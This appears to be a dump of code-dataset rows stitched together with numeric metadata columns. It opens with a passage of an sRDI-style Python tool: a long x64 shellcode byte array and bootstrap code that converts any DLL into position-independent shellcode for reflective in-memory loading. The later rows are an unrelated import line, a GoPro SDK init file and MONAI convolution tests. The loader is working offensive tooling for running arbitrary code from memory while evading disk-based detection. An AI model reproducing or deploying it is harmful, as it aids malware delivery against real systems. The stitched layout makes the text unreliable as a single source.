b'\x4D\x2B\xC1\x75\xE3\x48\x8D\x4D\x38\xFF\xD2\x8B\x55\x3C\x44\x8B\xC2\x44\x8D\x72\xFF\xF7' \
b'\xDA\x44\x03\x77\x50\x49\x8D\x48\xFF\x8B\xC2\x4C\x23\xF0\x8B\xC3\x48\x03\xC8\x49\x8D\x40' \
b'\xFF\x48\xF7\xD0\x48\x23\xC8\x4C\x3B\xF1\x0F\x85\x54\x06\x00\x00\x48\x8B\x4F\x30\x41\xBC' \
b'\x00\x30\x00\x00\x45\x8B\xC4\x41\xB9\x04\x00\x00\x00\x49\x8B\xD6\xFF\x55\xC8\x48\x8B\xD8' \
b'\x48\x85\xC0\x75\x12\x44\x8D\x48\x04\x45\x8B\xC4\x49\x8B\xD6\x33\xC9\xFF\x55\xC8\x48\x8B' \
b'\xD8\x44\x8B\xA5\xD0\x00\x00\x00\x41\xBB\x01\x00\x00\x00\x45\x84\xE3\x74\x1D\x8B\x46\x3C' \
b'\x89\x43\x3C\x8B\x56\x3C\xEB\x0B\x8B\xCA\x41\x03\xD3\x8A\x04\x31\x88\x04\x19\x3B\x57\x54' \
b'\x72\xF0\xEB\x19\x41\x8B\xD7\x44\x39\x7F\x54\x76\x10\x8B\xCA\x41\x03\xD3\x8A\x04\x31\x88' \
b'\x04\x19\x3B\x57\x54\x72\xF0\x48\x63\x7B\x3C\x45\x8B\xD7\x48\x03\xFB\x48\x89\x7D\x30\x44' \
b'\x0F\xB7\x47\x14\x49\x83\xC0\x28\x66\x44\x3B\x7F\x06\x73\x3A\x4C\x03\xC7\x45\x8B\xCF\x45' \
b'\x39\x38\x76\x1F\x41\x8B\x50\x04\x41\x8B\x48\xFC\x41\x8B\xC1\x45\x03\xCB\x48\x03\xC8\x48' \
b'\x03\xD0\x8A\x04\x32\x88\x04\x19\x45\x3B\x08\x72\xE1\x0F\xB7\x47\x06\x45\x03\xD3\x49\x83' \
b'\xC0\x28\x44\x3B\xD0\x72\xC9\x4C\x8B\xF3\x41\xB8\x02\x00\x00\x00\x4C\x2B\x77\x30\x0F\x84' \
b'\xD6\x00\x00\x00\x44\x39\xBF\xB4\x00\x00\x00\x0F\x84\xC9\x00\x00\x00\x44\x8B\x8F\xB0\x00' \
b'\x00\x00\x4C\x03\xCB\x45\x39\x39\x0F\x84\xB6\x00\x00\x00\x4D\x8D\x51\x08\xE9\x91\x00\x00' \
b'\x00\x45\x0F\xB7\x1A\x41\x0F\xB7\xCB\x41\x0F\xB7\xC3\x66\xC1\xE9\x0C\x66\x83\xF9\x0A\x75' \
b'\x29\x45\x8B\x01\x41\x81\xE3\xFF\x0F\x00\x00\x4B\x8D\x04\x18\x48\x8B\x14\x18\x4B\x8D\x04' \
b'\x18\x41\xBB\x01\x00\x00\x00\x49\x03\xD6\x48\x89\x14\x18\x45\x8D\x43\x01\xEB\x4F\x41\xBB' \
b'\x01\x00\x00\x00\x66\x83\xF9\x03\x75\x0E\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x41\x8B\xC6' \
b'\xEB\x2E\x66\x41\x3B\xCB\x75\x15\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x49\x8B\xC6\x48\xC1' \
b'\xE8\x10\x0F\xB7\xC0\xEB\x13\x66\x41\x3B\xC8\x75\x14\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03' \
b'\x41\x0F\xB7\xC6\x41\x8B\x11\x48\x01\x04\x0A\x4D\x03\xD0\x41\x8B\x41\x04\x49\x03\xC1\x4C' \
b'\x3B\xD0\x0F\x85\x5F\xFF\xFF\xFF\x4D\x8B\xCA\x45\x39\x3A\x0F\x85\x4A\xFF\xFF\xFF\x44\x39' \
b'\xBF\x94\x00\x00\x00\x0F\x84\x82\x01\x00\x00\x8B\x8F\x90\x00\x00\x00\x45\x8B\xEF\x4C\x8D' \
b'\x04\x19\x49\x8D\x40\x0C\xEB\x07\x45\x03\xEB\x48\x8D\x40\x14\x44\x39\x38\x75\xF4\x41\x8B' \
b'\xC4\x83\xE0\x04\x89\x45\xC0\x8B\xC1\x0F\x84\x89\x00\x00\x00\x45\x3B\xEB\x0F\x86\x80\x00' \
b'\x00\x00\x41\xC1\xEC\x10\x45\x8D\x5D\xFF\x45\x8B\xD7\x45\x85\xDB\x74\x74\x4D\x8B\xC8\x41' \
b'\xBE\xFF\x7F\x00\x00\x41\x0F\x10\x01\x33\xD2\x41\x8B\xCD\x41\x2B\xCA\x69\xF6\xFD\x43\x03' \
b'\x00\x41\x8B\xC6\xF7\xF1\x33\xD2\x81\xC6\xC3\x9E\x26\x00\x8D\x48\x01\x8B\xC6\xC1\xE8\x10' \
b'\x41\x23\xC6\xF7\xF1\x41\x03\xC2\x41\xFF\xC2\x48\x8D\x0C\x80\x41\x8B\x54\x88\x10\x41\x0F' \
b'\x10\x0C\x88\x41\x0F\x11\x04\x88\x41\x8B\x41\x10\x41\x89\x44\x88\x10\x41\x0F\x11\x09\x41' \
b'\x89\x51\x10\x4D\x8D\x49\x14\x45\x3B\xD3\x72\xA1\x8B\x87\x90\x00\x00\x00\xEB\x04\x44\x8B' \
b'\x65\xC0\x8B\xF0\x48\x03\xF3\x8B\x46\x0C\x85\xC0\x0F\x84\xB1\x00\x00\x00\x8B\x7D\xC0\x8B' \
b'\xC8\x48\x03\xCB\xFF\x55\xF8\x48\x89\x44\x24\x38\x4C\x8B\xD0\x44\x8B\x36\x44\x8B\x7E\x10' \
b'\x4C\x03\xF3\x4C\x03\xFB\x49\x8B\x0E\x48\x85\xC9\x74\x5F\x48\x85\xC9\x79\x08\x45\x0F\xB7' \
b'\x06\x33\xD2\xEB\x32\x48\x8D\x53\x02\x33\xC0\x48\x03\xD1\x38\x02\x74\x0E\x48\x8B\xCA\x48' \
b'\xFF\xC1\x48\xFF\xC0\x80\x39\x00\x75\xF5\x48\x89\x54\x24\x30\x45\x33\xC0\x48\x8D\x54\x24' \
b'\x28\x66\x89\x44\x24\x28\x66\x89\x44\x24\x2A\x4D\x8B\xCF\x49\x8B\xCA\xFF\x55\xD0\x49\x83' \
b'\xC6\x08\x49\x83\xC7\x08\x49\x8B\x0E\x48\x85\xC9\x74\x07\x4C\x8B\x54\x24\x38\xEB\xA1\x45' \
b'\x33\xFF\x85\xFF\x74\x10\x41\x83\xFD\x01\x76\x0A\x41\x69\xCC\xE8\x03\x00\x00\xFF\x55\xF0' \
b'\x8B\x46\x20\x48\x83\xC6\x14\x85\xC0\x0F\x85\x56\xFF\xFF\xFF\x48\x8B\x7D\x30\x4C\x8B\x6D' \
b'\xD0\x44\x39\xBF\xF4\x00\x00\x00\x0F\x84\xA9\x00\x00\x00\x44\x8B\xBF\xF0\x00\x00\x00\x49' \
b'\x83\xC7\x04\x4C\x03\xFB\x45\x33\xE4\x41\x8B\x07\x85\xC0\x0F\x84\x8A\x00\x00\x00\x8B\xC8' \
b'\x48\x03\xCB\xFF\x55\xF8\x48\x89\x44\x24\x38\x48\x8B\xC8\x41\x8B\x77\x08\x45\x8B\x77\x0C' \
b'\x48\x03\xF3\x4C\x03\xF3\x4C\x39\x26\x74\x5E\x49\x8B\x16\x48\x85\xD2\x79\x08\x44\x0F\xB7' \
b'\xC2\x33\xD2\xEB\x34\x4C\x8D\x43\x02\x49\x8B\xC4\x4C\x03\xC2\x45\x38\x20\x74\x0E\x49\x8B' \
b'\xD0\x48\xFF\xC2\x48\xFF\xC0\x44\x38\x22\x75\xF5\x4C\x89\x44\x24\x30\x48\x8D\x54\x24\x28' \
b'\x45\x33\xC0\x66\x89\x44\x24\x28\x66\x89\x44\x24\x2A\x4C\x8B\xCE\x41\xFF\xD5\x48\x83\xC6' \
b'\x08\x49\x83\xC6\x08\x4C\x39\x26\x74\x07\x48\x8B\x4C\x24\x38\xEB\xA2\x49\x83\xC7\x20\xE9' \
b'\x6B\xFF\xFF\xFF\x45\x33\xFF\x0F\xB7\x77\x14\x45\x8B\xF7\x48\x83\xC6\x28\x41\xBC\x01\x00' \
b'\x00\x00\x66\x44\x3B\x7F\x06\x0F\x83\x0B\x01\x00\x00\x48\x03\xF7\x44\x39\x3E\x0F\x84\xEB' \
b'\x00\x00\x00\x8B\x46\x14\x8B\xC8\x81\xE1\x00\x00\x00\x20\x75\x17\x0F\xBA\xE0\x1E\x72\x11' \
b'\x85\xC0\x78\x0D\x45\x8B\xC4\x44\x89\x64\x24\x20\xE9\xA4\x00\x00\x00\x85\xC9\x75\x3C\x0F' \
b'\xBA\xE0\x1E\x72\x0A\x85\xC0\x79\x06\x44\x8D\x41\x08\xEB\x68\x85\xC9\x75\x28\x0F\xBA\xE0' \
b'\x1E\x73\x0A\x85\xC0\x78\x06\x44\x8D\x41\x02\xEB\x54\x85\xC9\x75\x14\x0F\xBA\xE0\x1E\x73' \
b'\x0A\x85\xC0\x79\x06\x44\x8D\x41\x04\xEB\x40\x85\xC9\x74\x5F\x0F\xBA\xE0\x1E\x72\x0C\x85' \
b'\xC0\x78\x08\x41\xB8\x10\x00\x00\x00\xEB\x2A\x85\xC9\x74\x49\x0F\xBA\xE0\x1E\x72\x0C\x85' \
b'\xC0\x79\x08\x41\xB8\x80\x00\x00\x00\xEB\x14\x85\xC9\x74\x33\x0F\xBA\xE0\x1E\x73\x11\x85' \
b'\xC0\x78\x0D\x41\xB8\x20\x00\x00\x00\x44\x89\x44\x24\x20\xEB\x21\x85\xC9\x74\x18\x0F\xBA' \
b'\xE0\x1E\x73\x12\x44\x8B\x44\x24\x20\x85\xC0\xB9\x40\x00\x00\x00\x44\x0F\x48\xC1\xEB\xDD' \
b'\x44\x8B\x44\x24\x20\xF7\x46\x14\x00\x00\x00\x04\x74\x0A\x41\x0F\xBA\xE8\x09\x44\x89\x44' \
b'\x24\x20\x8B\x4E\xFC\x4C\x8D\x4C\x24\x20\x8B\x16\x48\x03\xCB\xFF\x55\x00\x0F\xB7\x47\x06' \
b'\x45\x03\xF4\x48\x83\xC6\x28\x44\x3B\xF0\x0F\x82\xF8\xFE\xFF\xFF\x45\x33\xC0\x33\xD2\x48' \
b'\x83\xC9\xFF\xFF\x55\x08\x44\x39\xBF\xD4\x00\x00\x00\x74\x24\x8B\x87\xD0\x00\x00\x00\x48' \
b'\x8B\x74\x18\x18\xEB\x0F\x45\x33\xC0\x41\x8B\xD4\x48\x8B\xCB\xFF\xD0\x48\x8D\x76\x08\x48' \
b'\x8B\x06\x48\x85\xC0\x75\xE9\x4C\x8B\x4D\x18\x4D\x85\xC9\x74\x2F\x8B\x87\xA4\x00\x00\x00' \
b'\x85\xC0\x74\x25\x8B\xC8\x4C\x8B\xC3\x48\xB8\xAB\xAA\xAA\xAA\xAA\xAA\xAA\xAA\x48\xF7\xE1' \
b'\x8B\x8F\xA0\x00\x00\x00\x48\xC1\xEA\x03\x48\x03\xCB\x41\x2B\xD4\x41\xFF\xD1\x8B\x47\x28' \
b'\x4D\x8B\xC4\x48\x03\xC3\x41\x8B\xD4\x48\x8B\xCB\xFF\xD0\x8B\xB5\xB8\x00\x00\x00\x85\xF6' \
b'\x0F\x84\x97\x00\x00\x00\x44\x39\xBF\x8C\x00\x00\x00\x0F\x84\x8A\x00\x00\x00\x8B\x8F\x88' \
b'\x00\x00\x00\x48\x03\xCB\x44\x8B\x59\x18\x45\x85\xDB\x74\x78\x44\x39\x79\x14\x74\x72\x44' \
b'\x8B\x49\x20\x41\x8B\xFF\x8B\x51\x24\x4C\x03\xCB\x48\x03\xD3\x45\x85\xDB\x74\x5D\x45\x8B' \
b'\x01\x45\x8B\xD7\x4C\x03\xC3\x74\x52\xEB\x0D\x0F\xBE\xC0\x44\x03\xD0\x41\xC1\xCA\x0D\x4D' \
b'\x03\xC4\x41\x8A\x00\x84\xC0\x75\xEC\x41\x3B\xF2\x75\x05\x48\x85\xD2\x75\x12\x41\x03\xFC' \
b'\x49\x83\xC1\x04\x48\x83\xC2\x02\x41\x3B\xFB\x73\x22\xEB\xC3\x8B\x41\x1C\x0F\xB7\x0A\x48' \
b'\x03\xC3\x8B\x95\xC8\x00\x00\x00\x44\x8B\x04\x88\x48\x8B\x8D\xC0\x00\x00\x00\x4C\x03\xC3' \
b'\x41\xFF\xD0\x48\x8B\xC3\xEB\x02\x33\xC0\x48\x8B\x9C\x24\xB0\x01\x00\x00\x48\x81\xC4\x70' \
b'\x01\x00\x00\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x5F\x5E\x5D\xC3\xCC\x48\x8B\xC4\x48\x89\x58' \
b'\x08\x48\x89\x68\x10\x48\x89\x70\x18\x48\x89\x78\x20\x41\x56\x48\x83\xEC\x10\x65\x48\x8B' \
b'\x04\x25\x60\x00\x00\x00\x8B\xE9\x45\x33\xF6\x48\x8B\x50\x18\x4C\x8B\x4A\x10\x4D\x8B\x41' \
b'\x30\x4D\x85\xC0\x0F\x84\xB3\x00\x00\x00\x41\x0F\x10\x41\x58\x49\x63\x40\x3C\x41\x8B\xD6' \
b'\x4D\x8B\x09\xF3\x0F\x7F\x04\x24\x46\x8B\x9C\x00\x88\x00\x00\x00\x45\x85\xDB\x74\xD2\x48' \
b'\x8B\x04\x24\x48\xC1\xE8\x10\x66\x44\x3B\xF0\x73\x22\x48\x8B\x4C\x24\x08\x44\x0F\xB7\xD0' \
b'\x0F\xBE\x01\xC1\xCA\x0D\x80\x39\x61\x7C\x03\x83\xC2\xE0\x03\xD0\x48\xFF\xC1\x49\x83\xEA' \
b'\x01\x75\xE7\x4F\x8D\x14\x18\x45\x8B\xDE\x41\x8B\x7A\x20\x49\x03\xF8\x45\x39\x72\x18\x76' \
b'\x8E\x8B\x37\x41\x8B\xDE\x49\x03\xF0\x48\x8D\x7F\x04\x0F\xBE\x0E\x48\xFF\xC6\xC1\xCB\x0D' \
b'\x03\xD9\x84\xC9\x75\xF1\x8D\x04\x13\x3B\xC5\x74\x0E\x41\xFF\xC3\x45\x3B\x5A\x18\x72\xD5' \
b'\xE9\x5E\xFF\xFF\xFF\x41\x8B\x42\x24\x43\x8D\x0C\x1B\x49\x03\xC0\x0F\xB7\x14\x01\x41\x8B' \
b'\x4A\x1C\x49\x03\xC8\x8B\x04\x91\x49\x03\xC0\xEB\x02\x33\xC0\x48\x8B\x5C\x24\x20\x48\x8B' \
b'\x6C\x24\x28\x48\x8B\x74\x24\x30\x48\x8B\x7C\x24\x38\x48\x83\xC4\x10\x41\x5E\xC3 '
# MARKER:E
if sRDI.is64BitDLL(dll_bytes):
rdi_shellcode = rdi_shellcode64
bootstrap = b''
bootstrap_size = 64
# call next instruction (Pushes next instruction address to stack)
bootstrap += b'\xe8\x00\x00\x00\x00'
# Set the offset to our DLL from pop result
dll_offset = bootstrap_size - len(bootstrap) + len(rdi_shellcode)
# pop rcx - Capture our current location in memory
bootstrap += b'\x59'
# mov r8, rcx - copy our location in memory to r8 before we start modifying RCX
bootstrap += b'\x49\x89\xc8'
# add rcx, <Offset of the DLL>
bootstrap += b'\x48\x81\xc1'
bootstrap += struct.pack('I', dll_offset)
# mov edx, <Hash of function>
bootstrap += b'\xba'
bootstrap += struct.pack('I', function_hash)
# Setup the location of our user data
# add r8, <Offset of the DLL> + <Length of DLL>
bootstrap += b'\x49\x81\xc0'
user_data_location = dll_offset + len(dll_bytes)
bootstrap += struct.pack('I', user_data_location)
# mov r9d, <Length of User Data>
bootstrap += b'\x41\xb9'
bootstrap += struct.pack('I', len(user_data))
# push rsi - save original value
bootstrap += b'\x56'
# mov rsi, rsp - store our current stack pointer for later
bootstrap += b'\x48\x89\xe6'
# and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes
bootstrap += b'\x48\x83\xe4\xf0'
# sub rsp, 0x30 - Create some breathing room on the stack
bootstrap += b'\x48\x83\xec'
bootstrap += b'\x30' # 32 bytes for shadow space + 8 bytes for last arg + 8 bytes for stack alignment
# mov dword ptr [rsp + 0x20], <Flags> - Push arg 5 just above shadow space
bootstrap += b'\xC7\x44\x24'
bootstrap += b'\x20'
bootstrap += struct.pack('I', flags)
# call - Transfer execution to the RDI
bootstrap += b'\xe8'
bootstrap += struct.pack('b',
bootstrap_size - len(bootstrap) - 4) # Skip over the remainder of instructions
bootstrap += b'\x00\x00\x00'
# mov rsp, rsi - Reset our original stack pointer
bootstrap += b'\x48\x89\xf4'
# pop rsi - Put things back where we left them
bootstrap += b'\x5e'
# ret - return to caller
bootstrap += b'\xc3'
if len(bootstrap) != bootstrap_size:
raise Exception(f"x64 bootstrap length: {len(bootstrap)} != bootstrap_size: {bootstrap_size}")
# Ends up looking like this in memory:
# Bootstrap shellcode
# RDI shellcode
# DLL bytes
# User data
return bootstrap + rdi_shellcode + dll_bytes + user_data
else: # 32 bit
rdi_shellcode = rdi_shellcode32
bootstrap = b''
bootstrap_size = 49
# call next instruction (Pushes next instruction address to stack)
bootstrap += b'\xe8\x00\x00\x00\x00'
# Set the offset to our DLL from pop result
dll_offset = bootstrap_size - len(bootstrap) + len(rdi_shellcode)
# pop eax - Capture our current location in memory
bootstrap += b'\x58'
# push ebp
bootstrap += b'\x55'
# mov ebp, esp
bootstrap += b'\x89\xe5'
# mov edx, eax - copy our location in memory to ebx before we start modifying eax
bootstrap += b'\x89\xc2'
# add eax, <Offset to the DLL>
bootstrap += b'\x05'
bootstrap += struct.pack('I', dll_offset)
# add edx, <Offset to the DLL> + <Size of DLL>
bootstrap += b'\x81\xc2'
user_data_location = dll_offset + len(dll_bytes)
bootstrap += struct.pack('I', user_data_location)
# push <Flags>
bootstrap += b'\x68'
bootstrap += struct.pack('I', flags)
# push <Length of User Data>
bootstrap += b'\x68'
bootstrap += struct.pack('I', len(user_data))
# push edx
bootstrap += b'\x52'
# push <hash of function>
bootstrap += b'\x68'
bootstrap += struct.pack('I', function_hash)
# push eax
bootstrap += b'\x50'
# call - Transfer execution to the RDI
bootstrap += b'\xe8'
bootstrap += struct.pack('b',
bootstrap_size - len(bootstrap) - 4) # Skip over the remainder of instructions
bootstrap += b'\x00\x00\x00'
# add esp, 0x14 - remove arguments from stack (cdecl)
bootstrap += b'\x83\xc4\x14'
# leave
bootstrap += b'\xc9'
# ret - return to caller
bootstrap += b'\xc3'
if len(bootstrap) != bootstrap_size:
raise Exception(f"x86 bootstrap length: {len(bootstrap)} != bootstrap_size: {bootstrap_size}")
# Ends up looking like this in memory:
# Bootstrap shellcode
# RDI shellcode
# DLL bytes
# User data
return bootstrap + rdi_shellcode + dll_bytes + user_data
def transform(self, target):
dll = open(target, 'rb').read()
flags = self.flags
converted = sRDI.ConvertToShellcode(dll, sRDI.HashFunctionName(self.function), self.args, flags)
return converted
def set_additional_arguments(self, **kwargs):
if "function" in kwargs['kwargs'].keys():
function = kwargs['kwargs']['function']
if function and function != "":
self.function = function
if "params" in kwargs['kwargs'].keys():
params = kwargs['kwargs']['params']
if params and params != "":
self.args = params
| 78.428008
| 119
| 0.555164
| 7,004
| 39,763
| 3.138064
| 0.062393
| 0.099914
| 0.060194
| 0.009828
| 0.313663
| 0.241367
| 0.182356
| 0.149688
| 0.119387
| 0.106056
| 0
| 0.31509
| 0.258356
| 39,763
| 506
| 120
| 78.583004
| 0.430214
| 0.043508
| 0
| 0.124365
| 0
| 0.672589
| 0.627103
| 0.612833
| 0
| 1
| 0.000816
| 0
| 0
| 1
| 0.017767
| false
| 0
| 0.007614
| 0.002538
| 0.050761
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
4967406cc3c7713692215cace2e98dfff405fc01
| 31
|
py
|
Python
|
api/uwkgm/knowledge/knowledge/integration/__init__.py
|
ichise-laboratory/uwkgm
|
6505fa5d524336b30505804a3d241143cb1fa4bf
|
[
"BSD-3-Clause"
] | null | null | null |
api/uwkgm/knowledge/knowledge/integration/__init__.py
|
ichise-laboratory/uwkgm
|
6505fa5d524336b30505804a3d241143cb1fa4bf
|
[
"BSD-3-Clause"
] | 6
|
2020-11-25T10:49:45.000Z
|
2021-09-22T18:50:03.000Z
|
api/uwkgm/knowledge/knowledge/integration/__init__.py
|
ichise-laboratory/uwkgm
|
6505fa5d524336b30505804a3d241143cb1fa4bf
|
[
"BSD-3-Clause"
] | 1
|
2020-12-24T02:15:42.000Z
|
2020-12-24T02:15:42.000Z
|
from .aggregate import triples
| 15.5
| 30
| 0.83871
| 4
| 31
| 6.5
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.129032
| 31
| 1
| 31
| 31
| 0.962963
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
498249684767eea3e093c8c4f98cccbba5b521a1
| 274
|
py
|
Python
|
demos/python/sdk_wireless_camera_control/open_gopro/wifi/adapters/__init__.py
|
Natureshadow/OpenGoPro
|
05110123cfbf6584288b813f2d4896d3a091480e
|
[
"MIT"
] | 210
|
2021-06-05T20:06:17.000Z
|
2022-03-31T18:13:17.000Z
|
demos/python/sdk_wireless_camera_control/open_gopro/wifi/adapters/__init__.py
|
Natureshadow/OpenGoPro
|
05110123cfbf6584288b813f2d4896d3a091480e
|
[
"MIT"
] | 73
|
2021-06-01T21:22:44.000Z
|
2022-03-31T18:33:24.000Z
|
demos/python/sdk_wireless_camera_control/open_gopro/wifi/adapters/__init__.py
|
Natureshadow/OpenGoPro
|
05110123cfbf6584288b813f2d4896d3a091480e
|
[
"MIT"
] | 70
|
2021-06-07T03:59:04.000Z
|
2022-03-26T10:51:15.000Z
|
# __init__.py/Open GoPro, Version 2.0 (C) Copyright 2021 GoPro, Inc. (http://gopro.com/OpenGoPro).
# This copyright was auto-generated on Tue Sep 7 21:35:53 UTC 2021
"""Universal WiFi adapter implementation for Open GoPro WiFi interface"""
from .wireless import Wireless
| 39.142857
| 98
| 0.755474
| 43
| 274
| 4.72093
| 0.813953
| 0.08867
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.07234
| 0.142336
| 274
| 6
| 99
| 45.666667
| 0.791489
| 0.843066
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
7755fab5df462125f45275c9619a02fe1e771817
| 7,046
|
py
|
Python
|
tests/test_convolutions.py
|
JZK00/MONAI
|
49e693c4e7df83dc1f8ab87349373de9263188a9
|
[
"Apache-2.0"
] | 3
|
2020-10-12T02:13:27.000Z
|
2021-04-14T11:46:21.000Z
|
tests/test_convolutions.py
|
JZK00/MONAI
|
49e693c4e7df83dc1f8ab87349373de9263188a9
|
[
"Apache-2.0"
] | 1
|
2020-09-17T12:41:51.000Z
|
2020-09-29T15:20:37.000Z
|
tests/test_convolutions.py
|
JZK00/MONAI
|
49e693c4e7df83dc1f8ab87349373de9263188a9
|
[
"Apache-2.0"
] | null | null | null |
# Copyright 2020 MONAI Consortium
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import unittest
from monai.networks.blocks import Convolution, ResidualUnit
from tests.utils import TorchImageTestCase2D, TorchImageTestCase3D
class TestConvolution2D(TorchImageTestCase2D):
def test_conv1(self):
conv = Convolution(2, self.input_channels, self.output_channels)
out = conv(self.imt)
expected_shape = (1, self.output_channels, self.im_shape[0], self.im_shape[1])
self.assertEqual(out.shape, expected_shape)
def test_conv1_no_acti(self):
conv = Convolution(2, self.input_channels, self.output_channels, act=None)
out = conv(self.imt)
expected_shape = (1, self.output_channels, self.im_shape[0], self.im_shape[1])
self.assertEqual(out.shape, expected_shape)
def test_conv_only1(self):
conv = Convolution(2, self.input_channels, self.output_channels, conv_only=True)
out = conv(self.imt)
expected_shape = (1, self.output_channels, self.im_shape[0], self.im_shape[1])
self.assertEqual(out.shape, expected_shape)
def test_stride1(self):
for strides in [2, [2, 2], (2, 2)]:
conv = Convolution(2, self.input_channels, self.output_channels, strides=strides)
out = conv(self.imt)
expected_shape = (1, self.output_channels, self.im_shape[0] // 2, self.im_shape[1] // 2)
self.assertEqual(out.shape, expected_shape)
def test_dilation1(self):
conv = Convolution(2, self.input_channels, self.output_channels, dilation=3)
out = conv(self.imt)
expected_shape = (1, self.output_channels, self.im_shape[0], self.im_shape[1])
self.assertEqual(out.shape, expected_shape)
def test_dropout1(self):
conv = Convolution(2, self.input_channels, self.output_channels, dropout=0.15)
out = conv(self.imt)
expected_shape = (1, self.output_channels, self.im_shape[0], self.im_shape[1])
self.assertEqual(out.shape, expected_shape)
def test_transpose1(self):
conv = Convolution(2, self.input_channels, self.output_channels, is_transposed=True)
out = conv(self.imt)
expected_shape = (1, self.output_channels, self.im_shape[0], self.im_shape[1])
self.assertEqual(out.shape, expected_shape)
def test_transpose2(self):
conv = Convolution(2, self.input_channels, self.output_channels, strides=2, is_transposed=True)
out = conv(self.imt)
expected_shape = (1, self.output_channels, self.im_shape[0] * 2, self.im_shape[1] * 2)
self.assertEqual(out.shape, expected_shape)
class TestConvolution3D(TorchImageTestCase3D):
def test_conv1(self):
conv = Convolution(3, self.input_channels, self.output_channels)
out = conv(self.imt)
expected_shape = (1, self.output_channels, self.im_shape[1], self.im_shape[0], self.im_shape[2])
self.assertEqual(out.shape, expected_shape)
def test_conv1_no_acti(self):
conv = Convolution(3, self.input_channels, self.output_channels, act=None)
out = conv(self.imt)
expected_shape = (1, self.output_channels, self.im_shape[1], self.im_shape[0], self.im_shape[2])
self.assertEqual(out.shape, expected_shape)
def test_conv_only1(self):
conv = Convolution(3, self.input_channels, self.output_channels, conv_only=True)
out = conv(self.imt)
expected_shape = (1, self.output_channels, self.im_shape[1], self.im_shape[0], self.im_shape[2])
self.assertEqual(out.shape, expected_shape)
def test_stride1(self):
for strides in [2, (2, 2, 2), [2, 2, 2]]:
conv = Convolution(3, self.input_channels, self.output_channels, strides=strides)
out = conv(self.imt)
expected_shape = (
1,
self.output_channels,
self.im_shape[1] // 2,
self.im_shape[0] // 2,
self.im_shape[2] // 2,
)
self.assertEqual(out.shape, expected_shape)
def test_dilation1(self):
conv = Convolution(3, self.input_channels, self.output_channels, dilation=3)
out = conv(self.imt)
expected_shape = (1, self.output_channels, self.im_shape[1], self.im_shape[0], self.im_shape[2])
self.assertEqual(out.shape, expected_shape)
def test_dropout1(self):
conv = Convolution(3, self.input_channels, self.output_channels, dropout=0.15)
out = conv(self.imt)
expected_shape = (1, self.output_channels, self.im_shape[1], self.im_shape[0], self.im_shape[2])
self.assertEqual(out.shape, expected_shape)
def test_transpose1(self):
conv = Convolution(3, self.input_channels, self.output_channels, is_transposed=True)
out = conv(self.imt)
expected_shape = (1, self.output_channels, self.im_shape[1], self.im_shape[0], self.im_shape[2])
self.assertEqual(out.shape, expected_shape)
def test_transpose2(self):
conv = Convolution(3, self.input_channels, self.output_channels, strides=2, is_transposed=True)
out = conv(self.imt)
expected_shape = (1, self.output_channels, self.im_shape[1] * 2, self.im_shape[0] * 2, self.im_shape[2] * 2)
self.assertEqual(out.shape, expected_shape)
class TestResidualUnit2D(TorchImageTestCase2D):
def test_conv_only1(self):
conv = ResidualUnit(2, 1, self.output_channels)
out = conv(self.imt)
expected_shape = (1, self.output_channels, self.im_shape[0], self.im_shape[1])
self.assertEqual(out.shape, expected_shape)
def test_stride1(self):
for strides in [2, [2, 2], (2, 2)]:
conv = ResidualUnit(2, 1, self.output_channels, strides=strides)
out = conv(self.imt)
expected_shape = (1, self.output_channels, self.im_shape[0] // 2, self.im_shape[1] // 2)
self.assertEqual(out.shape, expected_shape)
def test_dilation1(self):
conv = ResidualUnit(2, 1, self.output_channels, dilation=3)
out = conv(self.imt)
expected_shape = (1, self.output_channels, self.im_shape[0], self.im_shape[1])
self.assertEqual(out.shape, expected_shape)
def test_dropout1(self):
conv = ResidualUnit(2, 1, self.output_channels, dropout=0.15)
out = conv(self.imt)
expected_shape = (1, self.output_channels, self.im_shape[0], self.im_shape[1])
self.assertEqual(out.shape, expected_shape)
if __name__ == "__main__":
unittest.main()
| 45.458065
| 116
| 0.674567
| 975
| 7,046
| 4.685128
| 0.116923
| 0.063047
| 0.115587
| 0.099825
| 0.84479
| 0.84479
| 0.836033
| 0.832531
| 0.819396
| 0.819396
| 0
| 0.030684
| 0.209055
| 7,046
| 154
| 117
| 45.753247
| 0.788983
| 0.078484
| 0
| 0.675214
| 0
| 0
| 0.001234
| 0
| 0
| 0
| 0
| 0
| 0.17094
| 1
| 0.17094
| false
| 0
| 0.025641
| 0
| 0.222222
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
